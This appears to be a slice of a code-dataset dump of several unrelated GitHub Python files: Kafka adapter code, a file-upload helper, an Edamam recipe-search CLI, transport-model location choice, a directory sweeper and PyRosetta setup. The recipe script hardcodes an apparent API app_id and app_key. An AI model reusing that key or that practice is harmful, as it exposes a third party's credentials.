list(set(self.test_bed_options.produce + self.default_producer_topics))\n\n        # Instantiate one producer manager for each topic\n        for topic_name in self.test_bed_options.produce:\n            if topic_name in list(self.schema_registry.values_schema.keys()):\n                avro_helper_key = self.schema_registry.keys_schema[topic_name][\"avro_helper\"]\n                avro_helper_value = self.schema_registry.values_schema[topic_name][\"avro_helper\"]\n\n                # We create a new producer for this topic. The last input is the callback\n                # where we handle the message sent.\n                manager = ProducerManager(bytes(topic_name, 'utf-8'), self.test_bed_options.kafka_host,\n                                          self.test_bed_options.exclude_internal_topics,\n                                          self.test_bed_options.client_id,\n                                          self.test_bed_options.send_messages_asynchronously,\n                                          avro_helper_key, avro_helper_value,\n                                          self.successfully_sent_message, self.ssl_config)\n                self.producer_managers[topic_name] = manager\n                logging.info(\"Initialized kafka producer manager for topic\" + topic_name)\n            else:\n                logging.error(\"No schema found for topic \" + topic_name)\n\n    def init_services(self):\n        if \"system_timing\" not in self.consumer_managers.keys():\n            logging.error(\"TimeService could not be initialized, No schema found for topic system_timing\")\n        else:\n            self.time_service = TimeService(self.consumer_managers[\"system_timing\"])\n\n    def init_and_start_heartbeat(self):\n        if \"system_heartbeat\" in self.producer_managers.keys():\n            self.heartbeat_manager = HeartbeatManager(self.producer_managers[\"system_heartbeat\"],\n                                                      self.test_bed_options.heartbeat_interval,\n                                                      self.test_bed_options.client_id)\n            self.heartbeat_manager.start_heartbeat_async()\n        else:\n            logging.error(\"Heartbeat could not be initialized, No schema found for topic system_heartbeat\")\n\n    def stop(self):\n        # Stop the heartbeat thread\n        if self.heartbeat_manager is not None:\n            self.heartbeat_manager.stop()\n        # Stop all the kafka listeners\n        for manager in list(self.consumer_managers.values()):\n            manager.stop()\n        for manager in list(self.producer_managers.values()):\n            manager.stop()\n        # Stop time service\n        if self.time_service is not None:\n            self.time_service.stop()\n        self.connected = False\n\n    def handle_message(self, message):\n        # We emit the message recieved\n        self.on_message.fire(message)\n\n    def successfully_sent_message(self, message):\n        # We emit the message sent\n        self.on_sent.fire(message)\n","repo_name":"DRIVER-EU/python-test-bed-adapter","sub_path":"test_bed_adapter/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"29190945430","text":"import sys\nimport json\nfrom urllib import request\n\ndef main():\n  item = json.loads(sys.argv[1])\n  # print(item.get('name'))\n  file_path = item.get('filePath')\n  url = item.get('url')\n  data = open(file_path, 'rb').read()\n  # print(data)\n  req = request.Request(url, data)\n  response = request.urlopen(req).read().decode('utf-8')\n  print(response)\n\nif __name__ == '__main__':\n  main()","repo_name":"yvesguilherme/js-expert","sub_path":"m13-node-js-log-running-processing/3-chamando-outras-linguagens-de-programacao-a-partir-do-node-js-com-child-process-spawn/1-child-process/1-spawn-process/uploads/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35234264543","text":"import requests\n\n# imported the requests library and declared the API's user ID and app key.\n# Declared app id and app key variables to be used as API parameters\n\napp_id = 'f8807375'\napp_key = 'f60da4fd40fabfac4e4df2fd0aa19016'\n\nadd_app_id = \"app_id={}\".format(app_id)\nadd_app_key = \"app_key={}\".format(app_key)\n\n# Declared diet restriction and meal type examples to be used in the search\ndiet_restrictions_options = ['vegetarian', 'vegan', 'paleo', 'gluten-free', 'fodmap-free']\nmeal_types_options = ['breakfast', 'lunch', 'snack', 'dinner']\n\n# Welcome message\n\nprint('\\n')\nprint('Welcome to our recipe search project! Enter your ingredients below and happy cooking!')\n\n\n# This function asks the user to enter the chosen ingredients and returns the user's input as a variable.\ndef ingredients_choice():\n    print(\"Which ingredients would you like to use today?\")\n    ingredient = input('Add as many as you like, and separate them using spaces, for example \"milk eggs cheese\":')\n    while ingredient == \"\":\n        ingredient = input(f\"You must enter at least one ingredient. Try again: \")\n    elements = ingredient.split()\n    chosen_items = \"+\".join(elements)\n    display_items = \" + \".join(elements)\n\n    print(\"\\nYou have chosen: \" + display_items)\n    add_ingredients = \"q={}\".format(chosen_items)\n    return add_ingredients\n\n\n# Function to determine if the user has any diet restrictions and return the input as a variable.\ndef diet_choice():\n    diet_restrictions = input(\n        f\"\\nSpecify a diet restriction or type 'N' if you don't mind \\n{diet_restrictions_options}\")\n    while diet_restrictions in diet_restrictions_options:\n        add_diet_restrictions = 'health={}'.format(diet_restrictions)\n        return add_diet_restrictions\n    while (diet_restrictions != \"N\" and diet_restrictions != \"n\") and (\n            diet_restrictions not in diet_restrictions_options):\n        diet_restrictions = input(\n            f\"\\nInvalid response. Try again or type 'N' if you don't mind: \\n{diet_restrictions_options}: \")\n        while diet_restrictions in diet_restrictions_options:\n            add_diet_restrictions = 'health={}'.format(diet_restrictions)\n            return add_diet_restrictions\n        else:\n            print('\\nError, try again!')\n\n\n# Function that asks the meal type of preference (if any).\ndef meal_choice():\n    meal_types = input(\n        f\"\\nChoose a meal type from the options below or type 'N' if you don't mind. \\n{meal_types_options}\")\n    while meal_types in meal_types_options:\n        add_meal_types = 'mealType={}'.format(meal_types)\n        return add_meal_types\n    while (meal_types != \"N\") and (meal_types not in meal_types_options):\n        meal_types = input(\n            f\"Invalid response. Try again or type 'N' if you don't mind: \\n{meal_types_options}: \")\n        while meal_types in meal_types_options:\n            add_meal_types = 'mealType={}'.format(meal_types)\n            return add_meal_types\n        else:\n            print('\\nError, start again!')\n\n# Storing the three functions in variables\ningredients_url = ingredients_choice()\ndiet_restrictions_url = diet_choice()\nmeal_types_url = meal_choice()\n\n# print(ingredients_url)\n# print(diet_restrictions_url)\n# print(meal_types_url)\n\n# Using the variables to construct the API request URL and make the GET request.\n\nurl = 'https://api.edamam.com/search?{}&{}&{}&{}&{}'.format(add_app_id, add_app_key, ingredients_url,\n                                                            diet_restrictions_url, meal_types_url)\n\n# The resulting recipe data is returned in a JSON format and can be parsed and used as desired.\n# Extract the recipes from the API and prints the results\nresults = requests.get(url)\ndata = results.json()\nresults = data['hits']\nfor result in results:\n    recipe = result['recipe']\n    print(recipe['label'])\n    print(recipe['url'])\n    print()\n\n# This allows the user to specific whether they would like to save their recipes list, or start a new search\nnext_choice = input(\n    \"If you would like to save these recipes, enter 'save'. To search using other ingredients, enter 'search'\")\n\n# This takes the user back to the ingredient input stage\nif next_choice == \"search\":\n    ingredients_choice()\n    diet_choice()\n    meal_choice()\n    for result in results:\n        recipe = result['recipe']\n        print(recipe['label'])\n        print(recipe['url'])\n        print()\n\n# This saves the search results ina new file on the user's computer\nif next_choice == \"save\":\n    print(\"Thank you for saving! Your recipe list will appear in your downloads folder.\")\n    import sys\n\n    with open(\"recipes_list.txt\", 'w') as sys.stdout:\n        for result in results:\n            recipe = result['recipe']\n            print(recipe['label'])\n            print(recipe['url'])\n            print()\n\nelse:\n    print(\"Thank you for searching, enjoy your meal!\")\n","repo_name":"sarahsalmean/CFGproject","sub_path":"python_code.py","file_name":"python_code.py","file_ext":"py","file_size_in_byte":4871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32128621889","text":"import collections\n\nimport VisumPy.helpers as VPH\nimport dask.array as da\nimport numpy as np\n\nimport abmvisum.engines.choice_engine as choice_engine\nimport abmvisum.engines.location_choice_engine as location_choice_engine\nimport abmvisum.tools.utilities as utilities\nfrom .facility_choice import prepare_choice_probs_for_act_id, choose_facilities\n\ndaskfactory = choice_engine.DaskFactory(10000)\n\n\ndef run_long_term_primary_location_choice(Visum, skims, segments, zones, zoneNo_to_zoneInd,\n                                          a_multi, dist_mat, logging, use_IPF=True, cache=None):\n    num_zones = Visum.Net.Zones.Count\n    activityID_to_primLocZoneNoAttr = dict(\n        Visum.Net.Activities.GetMultipleAttributes([\"Id\", \"lt_loc_zone_number_attr\"]))\n    activityID_to_primLocDistAttr = dict(Visum.Net.Activities.GetMultipleAttributes([\"Id\", \"lt_loc_distance_attr\"]))\n    activityID_to_primLocAccesibAttr = dict(\n        Visum.Net.Activities.GetMultipleAttributes([\"Id\", \"lt_loc_accessibility_attr\"]))\n    activityID_to_facilityOptions = get_facility_probs_for_act_types(Visum, segments)\n\n    segments_by_attraction = get_segments_by_attraction(segments, use_IPF, logging)\n\n    init_location_and_dist_attrs(Visum, segments, activityID_to_primLocZoneNoAttr, activityID_to_primLocDistAttr)\n\n    for attraction in sorted(segments_by_attraction):\n        segment_indices = segments_by_attraction[attraction]\n        logging.info('primary destination choice for segments with attraction \"%s\"' % attraction)\n        run_coupled_location_choice(Visum, skims, cache, segments, zoneNo_to_zoneInd,\n                                    activityID_to_primLocZoneNoAttr, activityID_to_primLocDistAttr,\n                                    activityID_to_primLocAccesibAttr, a_multi, zones, dist_mat,\n                                    segment_indices, num_zones, use_IPF, activityID_to_facilityOptions,\n                                    logging)\n\n    if cache is not None:\n        for i, k in enumerate(cache.prob_matrices.keys()):\n            mat_no = i + 5000\n            helper_matrix_exists = mat_no in VPH.GetMulti(Visum.Net.Matrices, \"NO\")\n            if not helper_matrix_exists:\n                mat_visum = Visum.Net.AddMatrix(mat_no, 2, 4)\n                mat_visum.SetAttValue(\"Name\", k)\n                mat_visum.SetAttValue(\"Code\", k)\n            VPH.SetMatrixRaw(Visum, k, cache.get_prob_mat(k))\n\n\ndef get_facility_probs_for_act_types(Visum, segments):\n    activity_id_cache = []\n    activityID_to_facilityOptions = collections.defaultdict(list)\n    for segment in segments:\n        activity_id = segment['AddData']\n        if activity_id in activity_id_cache:\n            continue\n        else:\n            activity_id_cache.append(activity_id)\n        activityID_to_facilityOptions[activity_id] = prepare_choice_probs_for_act_id(Visum, activity_id,\n                                                                                     location_attribute='Key')\n\n    return activityID_to_facilityOptions\n\n\ndef get_segments_by_activity(segments):\n    segments_by_activity = collections.defaultdict(list)\n    for i in range(len(segments)):\n        curSegment = segments[i]\n        activity_id = curSegment['AddData']\n        segments_by_activity[activity_id].append(i)\n    return segments_by_activity\n\n\ndef get_segments_by_attraction(segments, use_ipf, logging):\n    segments_by_attraction = collections.defaultdict(list)\n    for i in range(len(segments)):\n        curSegment = segments[i]\n        attraction = curSegment['Attraction']\n        segments_by_attraction[attraction].append(i)\n    return segments_by_attraction\n\n\ndef init_location_and_dist_attrs(Visum, segments, activityID_to_primLocZoneNoAttr, activityID_to_primLocDistAttr):\n    activity_id_cache = []\n    for segment in segments:\n        activity_id = segment['AddData']\n        if activity_id in activity_id_cache:\n            continue\n        else:\n            activity_id_cache.append(activity_id)\n        primary_location_zoneNo_attrID = activityID_to_primLocZoneNoAttr[activity_id]\n        dist_attrID = activityID_to_primLocDistAttr[activity_id]\n\n        # init locations\n        Visum.Net.Persons.SetAllAttValues(primary_location_zoneNo_attrID, 0)\n        Visum.Net.Persons.SetAllAttValues(dist_attrID, 0.0)\n\n\ndef run_coupled_location_choice(Visum, skims, cache, segments, zoneNo_to_zoneInd,\n                                activityID_to_primLocZoneNoAttr, activityID_to_primLocDistAttr,\n                                activityID_to_primLocAccesibAttr, a_multi, zones, dist_mat,\n                                segment_indices, num_zones, use_IPF, activityID_to_facilityOptions, logging):\n    attractionAttr = segments[segment_indices[0]][\"Attraction\"]\n    attraction = np.array(VPH.GetMulti(Visum.Net.Zones, attractionAttr))\n    act_id = segments[segment_indices[0]][\"AddData\"]\n    facility_options, facility_probs = activityID_to_facilityOptions[act_id]\n\n    # set attraction to zero if there is no facility in that zone\n    counter = 0\n    for i, opt in enumerate(facility_options):\n        if opt[0] == 'None':\n            if attraction[i] != 0:\n                attraction[i] = 0\n                counter += 1\n    if counter > 0:\n        logging.info(\"set attraction value of \" + str(counter) + \" zones to zero.\")\n\n    segment_data = init_segment_data(Visum, segments, zoneNo_to_zoneInd, segment_indices)\n\n    num_persons_in_segment = sum(seg_data[\"num_filtered_persons\"] for seg_data in segment_data.values())\n\n    # logging.info('run primary destination choice for %d persons' % num_persons_in_segment)\n\n    probs = dict()\n    fric_mat = dict()\n    is_utilMat_still_zone_based = dict()\n\n    for segment_index in segment_indices:\n        probs[segment_index], fric_mat[segment_index], is_utilMat_still_zone_based[\n            segment_index] = run_choice_for_segment(Visum, skims,\n                                                    attraction,\n                                                    segment_data[\n                                                        segment_index],\n                                                    logging)\n        # row_sums = np.sum(probs[segment_index], axis=1)\n        # assert len(row_sums[row_sums == 0]) == 0\n\n    # run IPF\n    if use_IPF:\n        ipf_iterations = segments[segment_indices[0]][\"IPFIterations\"]\n        if ipf_iterations > 0:\n            probs = run_IPF(segment_data, segment_indices, num_zones, attraction, is_utilMat_still_zone_based,\n                            fric_mat, logging, ipf_iterations)\n\n    for i in range(1):\n        # run choice\n        for segment_index in segment_indices:\n            cur_segment_data = segment_data[segment_index]\n            if cache is not None:\n                segment = cur_segment_data[\"segment\"]\n                logging.info(\"put data into cache for segment \" + segment)\n                # cache.add_prob_mat_to_cache(segment[\"Specification\"], probs[segment_index].compute())\n            originZonePerObj = cur_segment_data[\"originZones\"] if is_utilMat_still_zone_based[segment_index] else None\n            cur_segment_data[\"chosen_zoneIndices\"] = location_choice_engine.choose_dest_zones(probs[segment_index],\n                                                                                              originZonePerObj)\n\n        # write results\n        for segment_index in segment_indices:\n            write_results_for_segment(activityID_to_primLocZoneNoAttr, activityID_to_primLocDistAttr,\n                                      activityID_to_primLocAccesibAttr, a_multi, zones, dist_mat,\n                                      segment_data[segment_index])\n\n        # utilities.od_to_demand_mat(Visum, i + 2000, \"commuters_it_\" + str(i + 1), Visum.Net.Persons,\n        #                            \"Household\\\\Residence\\\\Location\\\\ZoneNo\", \"work_zone_no\")\n\n    # write results\n    for segment_index in segment_indices:\n        cur_segment_data = segment_data[segment_index]\n        chosen_facilities = choose_facilities(cur_segment_data[\"chosen_zoneIndices\"], facility_probs,\n                                              facility_options, logging)\n\n        personNos = VPH.GetMulti(cur_segment_data[\"filtered_persons\"], \"No\")\n        Visum.Net.AddMultiLongTermChoices(list(zip(personNos, chosen_facilities)))\n\n    logging.info('processed %d persons' % num_persons_in_segment)\n\n\ndef init_segment_data(Visum, segments, zoneNo_to_zoneInd, segment_indices):\n    segment_data = collections.defaultdict(dict)\n\n    for segment_index in segment_indices:\n        segment = segments[segment_index]\n\n        # apply filter\n        filtered_persons = utilities.get_filtered_subjects(Visum.Net.Persons, segment['Filter'])\n\n        # fetch homezone indices\n        originZones = utilities.get_zone_indices(filtered_persons, r'Household\\Residence\\Location\\Zone\\NO',\n                                                 zoneNo_to_zoneInd)\n\n        segment_data[segment_index][\"segment\"] = segment\n        segment_data[segment_index][\"filtered_persons\"] = filtered_persons\n        segment_data[segment_index][\"num_filtered_persons\"] = filtered_persons.Count\n        segment_data[segment_index][\"originZones\"] = originZones\n        segment_data[segment_index][\"chosen_zoneIndices\"] = []\n\n    return segment_data\n\n\ndef run_choice_for_segment(Visum, skims, attraction, cur_segment_data, logging):\n    if cur_segment_data[\"num_filtered_persons\"] == 0:\n        return\n\n    segment = cur_segment_data[\"segment\"]\n    filtered_persons = cur_segment_data[\"filtered_persons\"]\n\n    logging.info('primary destination choice for segment  %s: %s ' % (segment['Specification'], segment['Comment']))\n\n    return location_choice_engine.calc_dest_zone_probs(filtered_persons, skims, cur_segment_data[\"originZones\"],\n                                                       segment,\n                                                       attraction, Visum, logging)\n\n\ndef run_IPF(segment_data, segment_indices, num_zones, attraction, is_utilMat_still_zone_based, fric_mat, logging,\n            iterations):\n    logging.info('run IPF with ' + str(iterations) + ' iterations')\n\n    all_fric_matrix, all_row_targets = prepare_matrix_and_targets_for_IPF(segment_data, segment_indices, num_zones,\n                                                                          is_utilMat_still_zone_based, fric_mat)\n    all_probs_matrix = calculate_IPF(all_fric_matrix, all_row_targets, attraction, logging, max_iterations=iterations)\n\n    if len(segment_indices) > 1:\n        segment_index_map = list(fric_mat.keys())\n\n        shape0s = [0] + list(np.cumsum([probs_i.shape[0] for probs_i in fric_mat.values()]))\n        split_matrices = [all_probs_matrix[shape0s[i]:shape0s[i + 1]] for i in range(len(shape0s) - 1)]\n\n        # assert (len(split_matrices) == len(probs.values()))\n        for i in range(len(split_matrices)):\n            fric_mat[segment_index_map[i]] = split_matrices[i]\n    else:\n        fric_mat[segment_indices[0]] = all_probs_matrix\n\n    return fric_mat\n\n\ndef prepare_matrix_and_targets_for_IPF(segment_data, segment_indices, num_zones, is_utility_matrix_still_zone_based,\n                                       probs):\n    row_targets = dict()\n    for segment_index in segment_indices:\n        cur_segment_data = segment_data[segment_index]\n        if is_utility_matrix_still_zone_based[segment_index]:\n            # one line per orig zone\n            row_targets[segment_index] = np.bincount(cur_segment_data[\"originZones\"], minlength=num_zones)\n            # multiply probs for origZone X with number of persons starting at zone X\n            # probs[segment_index] = probs[segment_index] * (row_targets[segment_index])[:, np.newaxis]\n        else:\n            # one line per person\n            row_targets[segment_index] = np.ones(len(cur_segment_data[\"originZones\"]))\n        row_targets[segment_index] = daskfactory.fromarray(row_targets[segment_index])\n\n    if len(segment_indices) > 1:\n        all_probs_matrix = da.concatenate([probs_i for probs_i in probs.values()], axis=0).rechunk((10000, -1))\n        all_row_targets = da.concatenate([row_targets_i for row_targets_i in row_targets.values()]).rechunk((10000, -1))\n    else:\n        all_probs_matrix = probs[segment_indices[0]]\n        all_row_targets = row_targets[segment_indices[0]]\n    # assert (all_row_targets.shape[0] == all_probs_matrix.shape[0])\n\n    return all_probs_matrix, all_row_targets\n\n\ndef calculate_IPF(matrix, row_targets, col_targets, logging, max_iterations=10):\n    col_targets = col_targets * (row_targets.sum() / col_targets.sum())\n    col_targets_t = col_targets.copy()\n    row_targets_t = row_targets.copy()\n\n    with np.errstate(invalid='ignore', divide='ignore'):\n        for iter_no in range(int(max_iterations)):\n            # update columns\n            exp_util = da.multiply(da.exp(matrix), col_targets)\n            exp_util_sum = exp_util.sum(1)\n            exp_util_sum_T = da.asarray(exp_util_sum[:, np.newaxis])\n            exp_util_sum_T = da.where(exp_util_sum_T <= 0, 1.0, exp_util_sum_T)\n            trips = da.asarray(row_targets[:, np.newaxis]) * exp_util / exp_util_sum_T\n\n            computed_attr = trips.sum(axis=0)\n            computed_attr[computed_attr == 0] = 1\n            col_targets = col_targets * (col_targets_t / computed_attr)\n\n            computed_prod = trips.sum(axis=1)\n            computed_prod[computed_prod == 0] = 1\n            row_targets = row_targets * (row_targets_t / computed_prod)\n\n    exp_util = da.multiply(da.exp(matrix), col_targets)\n    exp_util_sum = exp_util.sum(1)\n    exp_util_sum_T = da.asarray(exp_util_sum[:, np.newaxis])\n    exp_util_sum_T = da.where(exp_util_sum_T <= 0, 1.0, exp_util_sum_T)\n    probs = exp_util / exp_util_sum_T\n    return probs\n\n\ndef write_results_for_segment(activityID_to_primLocZoneNoAttr, activityID_to_primLocDistAttr,\n                              activityID_to_primLocAccesibAttr, a_multi, zones, dist_mat,\n                              cur_segment_data):\n    activity_id = cur_segment_data[\"segment\"]['AddData']\n    zoneNo_attr_ID = activityID_to_primLocZoneNoAttr[activity_id]\n    distance_attr_ID = activityID_to_primLocDistAttr[activity_id]\n    accessib_attr_ID = activityID_to_primLocAccesibAttr[activity_id]\n\n    chosen_zoneNos = zones[cur_segment_data[\"chosen_zoneIndices\"]]\n    utilities.SetMulti(cur_segment_data[\"filtered_persons\"], zoneNo_attr_ID, chosen_zoneNos)\n    chosen_accessib_values = a_multi[cur_segment_data[\"chosen_zoneIndices\"]]\n    utilities.SetMulti(cur_segment_data[\"filtered_persons\"], accessib_attr_ID, chosen_accessib_values)\n\n    distances = dist_mat[cur_segment_data[\"originZones\"], cur_segment_data[\"chosen_zoneIndices\"]]\n    utilities.SetMulti(cur_segment_data[\"filtered_persons\"], distance_attr_ID,\n                       distances)  # set distance from home to primary locations\n","repo_name":"SchweizerischeBundesbahnen/abm-in-visum","sub_path":"abmvisum/model_contribs/sbb_mobi_plans/core/long_term_primary_location_choice.py","file_name":"long_term_primary_location_choice.py","file_ext":"py","file_size_in_byte":14841,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"}
+{"seq_id":"26458470417","text":"\"\"\"\n\trecursive, topdown, auto-compress webpages\n\tzip project folders\n\tbe rude with text files, bring em out\n\"\"\"\n\nimport os\n\nimport glueHTM\nimport projectZipper\t# internally calls manage_textFiles.py if asked\n\ndef sweep(targetDir):\n\tglueHTM.silentClean(targetDir)\t# recursive=True, topdown=obviously_True\n\tfor r, d, f in os.walk(targetDir):\n\t\tif len(d) == 0:\n\t\t\tprint(\"Congratulations!\\n`%(targetDir)s` if found to be clean, \\\n\t\t\tproceeding . . .\")\n\t\t\treturn True\n\t\telse:\n\t\t\tprint(\"%d directories still found in `%s` after sanitizing \\\n\t\t\twebpages and their associated folders\" % (len(d), targetDir))\n\t\t\tprint(\"launching Project Zipper utility\")\n\t\t\tprojectZipper.main(d)\n\t\t\tsweep(targetDir)\t# ensure all directories have been removed\n\treturn\n","repo_name":"repo-satish/myDropBox","sub_path":"scannerSvc/sweeper.py","file_name":"sweeper.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13371426576","text":"import os\nfrom utils import delete_all\n\ndef get_dirs(dataset = 'Peach_test'):\n    dataset=dataset\n    NAS = '/media/NAS/LabFiles/Walden'\n    det2 = '/media/siddique/464a1d5c-f3c4-46f5-9dbb-bf729e5df6d61/Detectron2'\n\n    if dataset == 'AppleA_train':\n        train_dir = det2 + '/flower_dataset/AppleA_Panoptic/DataFormattedProperly/SplitImages4x3/train/'\n\n        NAS = '/media/NAS/LabFiles/Walden'\n        base_dir = NAS + '/trainTestSplit/train/dataFormattedProperly/splitImages4x3'\n\n        img_dir = base_dir + '/flowersSplit'\n        panoptic_masks = base_dir + '/rgbMasksSplit'\n        panoptic_json = base_dir + '/appleA_panoptic_split4x3_train.json'\n\n        # 0: flower, 255: background\n        sem_seg_masks = base_dir + '/semMasksSplit'\n        instance_json = base_dir + '/appleA_instance_split4x3_train.json'\n\n    if dataset == 'AppleA_test':\n        data = 'AppleA'\n        base_dir = NAS + '/trainTestSplit/test/dataFormattedProperly/splitImages4x3'\n\n        img_dir = base_dir + '/flowersSplit'\n        panoptic_masks = base_dir + '/rgbMasksSplit'\n        panoptic_json = base_dir + '/appleA_panoptic_split4x3_test.json'\n\n        # 0: flower, 255: background\n        sem_seg_masks = base_dir + '/semMasksSplit'\n        instance_json = base_dir + '/appleA_instance_split4x3_test.json'\n        img_fmt = '.jpg'\n\n    if dataset == 'AppleB_test':\n        data = 'AppleB'\n        base_dir = NAS + '/otherFlowerDatasets/AppleB/dataFormattedProperly/splitImages4x3'\n\n        img_dir = base_dir + '/flowersSplit'\n        panoptic_masks = base_dir + '/rgbMasksSplit'\n        panoptic_json = base_dir + '/AppleB_panoptic_split4x3_test.json'\n\n        # 0: flower, 255: background\n        sem_seg_masks = base_dir + '/semMasksSplit'\n        instance_json = base_dir + '/AppleB_instance_split4x3_test.json'\n\n        img_fmt = '.bmp'\n\n    if dataset == 'Peach_test':\n        data = 'Peach'\n        base_dir = NAS + '/otherFlowerDatasets/Peach/dataFormattedProperly/splitImages4x3'\n\n        img_dir = base_dir + '/flowersSplit'\n        panoptic_masks = base_dir + '/rgbMasksSplit'\n        panoptic_json = base_dir + '/Peach_panoptic_split4x3_test.json'\n\n        # 0: flower, 255: background\n        sem_seg_masks = base_dir + '/semMasksSplit'\n        instance_json = base_dir + '/Peach_instance_split4x3_test.json'\n\n        img_fmt = '.bmp'\n\n    if dataset == 'Pear_test':\n        data = 'Pear'\n        base_dir = NAS + '/otherFlowerDatasets/Pear/dataFormattedProperly/splitImages4x3'\n\n        img_dir = base_dir + '/flowersSplit'\n        panoptic_masks = base_dir + '/rgbMasksSplit'\n        panoptic_json = base_dir + '/Pear_panoptic_split4x3_test.json'\n\n        # 0: flower, 255: background\n        sem_seg_masks = base_dir + '/semMasksSplit'\n        instance_json = base_dir + '/Pear_instance_split4x3_test.json'\n\n        img_fmt = '.bmp'\n\n    # for eval results\n    # -----------------------------------------------------------------------\n    outpath = os.path.join('/home/abubakarsiddique/trainPanopticModel', dataset)\n    if not os.path.exists(outpath):\n        os.makedirs(outpath)\n    else:\n        delete_all(outpath, fmt='jpg')\n\n    contour_area_thr = 0\n    rgbmask_dir = os.path.join(outpath, 'rgbMasksSplit/')\n    if not os.path.exists(rgbmask_dir):\n        os.makedirs(rgbmask_dir)\n\n    sem_mask_dir = os.path.join(outpath, 'semMasksSplit/')\n    if not os.path.exists(sem_mask_dir):\n        os.makedirs(sem_mask_dir)\n    return data, img_dir, panoptic_masks, sem_seg_masks, \\\n           panoptic_json, instance_json, outpath, \\\n           rgbmask_dir, sem_mask_dir, img_fmt, base_dir","repo_name":"siddiquemu/ssl_flower_semantic","sub_path":"utils/init_dirs.py","file_name":"init_dirs.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"25434306553","text":"import pandas as pd\nimport numpy as np\n\nimport plotly\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\nimport pyrosetta as pyr\nfrom pyrosetta.rosetta.core.select import residue_selector, movemap\nfrom pyrosetta.rosetta.protocols import residue_selectors, simple_moves, constraint_generator\nfrom pyrosetta.rosetta.core.pack import task\nfrom pyrosetta.rosetta.protocols import minimization_packing as pack_min\nfrom pyrosetta.rosetta.protocols.fold_from_loops.movers import DisplayPoseLabelsMover\n\nimport multiprocessing\n\n# Initialize Rosetta\npyr.init('-ignore_zero_occupancy false -fa_max_dis 9 -overwrite -out:level 100')\n\nsfxn= pyr.create_score_function('ref2015_cart.wts')\nsfxn_cc= pyr.create_score_function('ref2015_cart.wts')\nsfxn_cc.set_weight(pyr.rosetta.core.scoring.ScoreType.coordinate_constraint, 1.0)\n\nneighbors_stored= residue_selectors.StoredResidueSubsetSelector(subset_name= 'neighbors_stored')\nnot_neighbor_stored= residue_selectors.StoredResidueSubsetSelector(subset_name= 'not_neighbor_stored')\nsoft_shell_stored= residue_selectors.StoredResidueSubsetSelector(subset_name= 'soft_shell_stored')\n\ntf= task.TaskFactory()\n\ntf.push_back(task.operation.InitializeFromCommandline())\ntf.push_back(task.operation.IncludeCurrent())\ntf.push_back(task.operation.RestrictToRepacking())\n\nex12_to= task.operation.ExtraRotamersGeneric()\nex12_to.ex1(True)\nex12_to.ex2(True)\nex12_to.extrachi_cutoff(0)\ntf.push_back(ex12_to)\n\nfix= task.operation.OperateOnResidueSubset(task.operation.PreventRepackingRLT(), not_neighbor_stored)\ntf.push_back(fix)\n\nnot_neighbor_cc= constraint_generator.CoordinateConstraintGenerator()\nnot_neighbor_cc.set_residue_selector(not_neighbor_stored)\nnot_neighbor_cc.set_sd(1)\nnot_neighbor_cc.set_ca_only(True)\n\nsoftshell_cc= constraint_generator.CoordinateConstraintGenerator()\nsoftshell_cc.set_residue_selector(soft_shell_stored)\nsoftshell_cc.set_sd(2)\nsoftshell_cc.set_ca_only(True)\n\nadd_constraints= constraint_generator.AddConstraints()\nadd_constraints.add_generator(not_neighbor_cc)\nadd_constraints.add_generator(softshell_cc)\n\nmmf= movemap.MoveMapFactory()\nmmf.all_bb(False)\nmmf.all_chi(False)\nmmf.add_bb_action(movemap.move_map_action.mm_enable, neighbors_stored)\nmmf.add_chi_action(movemap.move_map_action.mm_enable, neighbors_stored)\n\nmutate_generic= simple_moves.MutateResidue()\nmutate_generic.set_preserve_atom_coords(True)\n\npacker= pack_min.PackRotamersMover()\npacker.score_function(sfxn_cc)\npacker.nloop(10)\npacker.task_factory(tf)\n\nmin_mover= pack_min.MinMover()\nmin_mover.cartesian(True)\nmin_mover.omega(False)\nmin_mover.score_function(sfxn_cc)\nmin_mover.min_type('lbfgs_armijo_nonmonotone')\nmin_mover.movemap_factory(mmf)\nmin_mover.tolerance(0.001)\n\ndisplay_pose= DisplayPoseLabelsMover()\n\n\ndef load_str(pdb_str):\n    poses= []\n    for pose_ind, str_ in enumerate(pdb_str):\n        pose= pyr.rosetta.core.pose.Pose()\n        pyr.rosetta.core.import_pose.pose_from_pdbstring(pose= pose, pdbcontents= str_, filename= f'frame_{pose_ind}')\n        pyr.rosetta.core.pose.addVirtualResAsRoot(pose)\n        pose.update_residue_neighbors() # speed up NeighborhoodResidueSelector performance\n        poses.append(pose)\n    return poses\n\n\ndef _gen_res_sel(mutant):\n    target_residues_to_mutate= []\n    mutate_movers= []\n    for point_mutation in mutant:\n        pos, aa= point_mutation\n\n        target_residue_to_mutate= residue_selector.ResidueIndexSelector(pos)\n        target_residues_to_mutate.append(target_residue_to_mutate)\n\n        mutate_mover= mutate_generic.clone()\n        mutate_mover.set_selector(target_residue_to_mutate)\n        mutate_mover.set_res_name(pyr.rosetta.core.chemical.aa_from_one_or_three(aa))\n        mutate_movers.append(mutate_mover)\n\n    all_target_residues_to_mutate= residue_selector.OrResidueSelector()\n    for res in target_residues_to_mutate: all_target_residues_to_mutate.add_residue_selector(res)\n\n    primary_seq_res= [residue_selector.PrimarySequenceNeighborhoodSelector(lower_residues= 1, upper_residues= 1, selector= res, cross_chain_boundaries= True) for res in target_residues_to_mutate]\n    all_primary_seq_res= residue_selector.OrResidueSelector()\n    for res in primary_seq_res: all_primary_seq_res.add_residue_selector(res)\n\n    not_all_primary_seq_res= residue_selector.NotResidueSelector(all_primary_seq_res)\n    neighbors= residue_selector.NeighborhoodResidueSelector(selector= all_target_residues_to_mutate, distance= 10.0, include_focus_in_subset= True)\n    not_neighbor= residue_selector.NotResidueSelector(neighbors)\n    soft_shell= residue_selector.AndResidueSelector(neighbors, not_all_primary_seq_res)\n\n    